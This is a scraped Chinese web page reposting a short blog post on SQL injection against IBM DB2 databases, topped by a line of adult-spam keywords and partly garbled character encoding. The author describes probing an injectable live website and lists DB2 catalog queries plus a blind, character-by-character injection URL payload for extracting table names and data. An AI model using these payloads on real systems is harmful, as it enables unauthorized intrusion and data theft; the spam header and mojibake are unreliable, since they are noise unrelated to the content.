亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Sql Injection in DB2數(shù)據(jù)庫(kù)

 更新時(shí)間:2007年01月16日 00:00:00   作者:  
使用DB2的人比較少了,今天碰到了一個(gè)可供注入的DB2網(wǎng)站,想試試身手。不過(guò)在網(wǎng)上很難找到相關(guān)的資料,只好自己研究了。 
參考了IBM DB2的文檔,總結(jié)了這樣幾條: 

1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER 
可以返回系統(tǒng)中所有用戶創(chuàng)建的表(table)名 

2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''  
返回表中的列名 

3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY 
這是最關(guān)鍵的地方,返回第一條記錄,類(lèi)似于sql server中的top 1 

4、SUBSTR(string, position, length) 
返回字符串子串的函數(shù),類(lèi)似于mid 

5、ASCII()這個(gè)就不用多說(shuō)了。 

有了這些語(yǔ)句和函數(shù),我們就可以很方便的用ascii拆半法猜出所有的table名,字段名,以及其中的數(shù)據(jù)了。 

例如判斷第一個(gè)table的名稱的第一個(gè)字符的ascii碼是否大于50: 
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 -- 


http://blog.waynedeng.com/blogview.asp?logID=543 

相關(guān)文章

最新評(píng)論